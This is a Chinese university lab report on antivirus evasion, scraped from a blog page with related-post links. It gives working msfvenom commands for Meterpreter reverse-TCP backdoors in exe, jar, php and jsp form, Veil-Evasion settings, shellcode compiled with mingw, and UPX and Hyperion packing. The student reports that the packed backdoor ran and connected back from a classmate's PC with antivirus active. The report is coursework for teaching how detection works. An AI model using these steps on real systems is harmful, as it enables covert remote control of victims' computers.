20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5
《网络对抗技术》Exp3 免杀原理与实践 Week5
一、实验内容
1、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程;
2、通过组合应用各种技术实现恶意代码免杀;
3、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本;
二、实验步骤
步骤一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程;
msf尝试
1、在命令行输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf.exe
,生成5214msf.exe。将5214msf.exe上传到Virus Total进行检测,检测结果如下,有50个杀软检测出来了。
2、上面是只进行一次编码,接下来编码十次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf-10.exe
。再把它上传到VirusTotal,检测结果如下:
可以看到还是有48个杀软检测出来了,编码多次和编码一次的免杀效果差别不大。因为我们使用的是同样的模板,杀软只要针对这个模板有所防备就行了,
使用msf生成其他格式的文件(参考博客Metasploit之多种后门生成)
1、生成jar:
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 W >5214msf-java.jar
,检测结果:
2、生成php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f raw >5214msf-php.php
,检测结果:
3、生成jsp:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.20.10.3 LPORT=5214 R >5214msf-jsp.jsp
,检测结果:
veil-evasion的尝试
- 1、安装Veil-Evasion。
- 参考同学的博客,先执行
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 安装Veil-Evasion:```sudo apt-get install veil-evasion```
- 输入```veil```打开veil,第一次打开时需要进行安装
这应该是这个实验最最最最花时间的部分了。。和各位同学遇到的问题一样,我也是各种卡,卡%16,%25,%91等等等等。但是我一直等了下去,等了4、5个小时,之间经历了断网重来,中间还又装了和Python相关的3、4个软件,令人绝望。后来终于下好了!输入veil后出现界面:
2、打开veil后,先输入
use evasion
进入evasion界面。
3、生成后门程序
输入
use c/meterpreter/rev_tcp.py
输入
set LHOST 172.20.10.3
设置回连地址(这里的IP地址是kali虚拟机的ip地址)输入
set LPORT 5214
设置回连端口输入
generate
生成文件最后输入你想要给后门程序起的名字,这里我输入的是
5214-veil
。成功生成文件:
文件默认在/var/lib/veil/output/compiled/5214-veil1.exe
。
4、使用VirusTotal进行检测,发现还是有37个杀软能够检测出来:
使用shellcode编程
1、在命令行中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f c
来生成C语言格式的ShellCode数组。
2、创建
5214-shell.c
创建.c文件,输入下图中的代码,其中buf数组中的值就是上面生成的。
3、输入
i686-w64-mingw32-g++ 5214-shell.c -o 5214-shell.exe
进行编译。将得到的5214-shell.exe先使用VirusTotal进行检测,结果如下:
4、打开msfconsole,再在本机上打开5214-shell.exe,此时发现无法连接(但是在下面加壳过后就可以连接上了)
5、结合使用不同编码器:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=172.20.10.3 LPORT=5214 -f c
6、创建
5214-shell-extend.c
创建.c文件,输入下图中的代码,其中buf数组中的值就是上面生成的(buf太长,省略一部分)。
7、输入
i686-w64-mingw32-g++ 5214-shell-extend.c -o 5214-shell-extend.exe
进行编译。将得到的5214-shell-extend.exe先使用VirusTotal进行检测,结果如下:
加壳工具
加壳是对相应的资源进行压缩,压缩后仍可运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。接下来将使用压缩壳和保密壳来进行试验。
1、压缩壳(UPX)
输入
upx 5214-shell.exe -o UPX5214-shell.exe
进行加壳
加壳后进行检测,如下:
尝试进行回连,成功:
2、加密壳Hyperion
考虑到下一步就是组合技术实现免杀,所以我就直接把加压缩壳后的文件直接再加加密壳。
将UPX5214-shell.exe复制到
/usr/share/windows-binaries/hyperion/
在目录
/usr/share/windows-binaries/hyperion/
下输入wine hyperion.exe -v UPX5214-shell.exe HyperionUPX5214-shell.exe
再次进行加壳:
进行免杀检测:
尝试进行回连:
步骤二:通过组合应用各种技术实现恶意代码免杀;
- 开启360,把在步骤一中最终生成的
hyUPX5214-shell.exe
放到本机中,发现没有被查杀:
步骤三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本;
把文件发到同学的电脑上(装有腾讯管家13.0.19837.233),没有被杀掉。
在我的kali上打开msfconsole,然后在同学的电脑上运行后门程序,成功连上
三、遇到的问题
1、在使用msf生成的shellcode编译成文件来尝试进行回连时失败了,但是加壳后回连就成功了。现在还没有发现其原因。
2、老师的指导书中一些说杀软杀不出来的地方,结果杀软都杀掉了。。。这是不是也说明了杀毒软件也是在不停发展的?我们实验所用的处理软件都是比较常用的,加上我们的步骤都是比较简单的,很容易成为杀软的识别对象。
四、基础问题问答
1、杀软是如何检测出恶意代码的?
答:基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
启发式恶意软件检测:对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,就把它当成一个恶意软件进行检查。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。
基于行为的恶意软件检测:基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式2、免杀是做什么?
答:免杀就是让安插的后门不被AV软件发现
3、免杀的基本方法有哪些?
答:
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
4、开启杀软能绝对防止电脑中恶意代码吗?
答:从实验中就可以知道不可以。
五、心得体会
这次实验让我知道了有很多杀毒软件其实是不管用的,一些简单的操作就能够迷惑他们。但是,杀毒软件也是不断地在更新的,以前学长学姐们可以正常存留下来的程序,我在做的时候就都被杀软发现了。感觉实验还是很有趣的,毕竟和现实练习是很密切的。这次实验让我感受到了免杀的强大力量,也让我感受到了自己的能力有限。今后应加强学习,不断提高自己的网络安全能力。
20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- MySQL存储过程 游标
MySQL存储过程 游标 如何在存储过程中使用MySQL游标来遍历SELECT语句返回的结果集 MySQL游标简介 要处理存储过程中的结果集,请使用游标.游标允许您迭代查询返回的一组行,并相应地处理 ...
- 雷林鹏分享:jQuery EasyUI 数据网格 - 创建列组合
jQuery EasyUI 数据网格 - 创建列组合 easyui 的数据网格(DataGrid)可以创建列组合,如下所示: 在本实例中,我们使用平面数据来填充数据网格(DataGrid)的数据,并把 ...
- 方差分析 | ANOVA | 原理 | R代码 | 进阶 | one way and two way
原理 比较两组就用t-test,比较三组及以上就用ANOVA.注意:我们默认说的都是one way ANOVA,也就是对group的分类标准只有一个,比如case和control(ABCD多组),tw ...
- HTML CSS 特殊字符表
HTML有许多特殊的字符,您对此有多少了解?平时在WEB制作中,您又有用到多少?或者说你在平时使用之时,是否也会碰到,有许多特殊字符要如何打印出来?比如说“笑脸”,比如说“版权号”.要是你用时忘记了这 ...
- Vant-Weapp小程序+商城案例
功能还在进一步完善中,欢迎扫一扫提出宝贵意见! 详细信息可进群沟通:
- promise用法十道题
JS是单线程语言,多数的网站不需要大量计算,程序耗时主要是在磁盘I/O和网络I/O上 ,虽然固态硬盘SSD读取很快,但是和CPU比起来却不在一个数量级上,而且网络上的一个数据包来回时间更慢,所以一些C ...
- 洛谷P1140 基因匹配 //DP真正意义上的一血
题目背景 大家都知道,基因可以看作一个碱基对序列.它包含了44种核苷酸,简记作A,C,G,TA,C,G,T.生物学家正致力于寻找人类基因的功能,以利用于诊断疾病和发明药物. 在一个人类基因工作组的任务 ...
- 【转】C# 中Linq查询所有上级节点或所有下级节点
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net ...
- 消息中间件:rabbitmq安装
转自:https://blog.csdn.net/qq_27384769/article/details/79465954 1.下载Erlangwget http://erlang.org/down ...
- UIPath Level 1
近日搬砖养家糊口,忙于项目,博客更新一度中断,自己都觉得委屈了. 培训视频看的眼睛耳朵疼,做完最后一个终极考试,哪儿哪儿都觉得不舒服~ 先来个截图,醒醒脑~ 今儿就歇下了~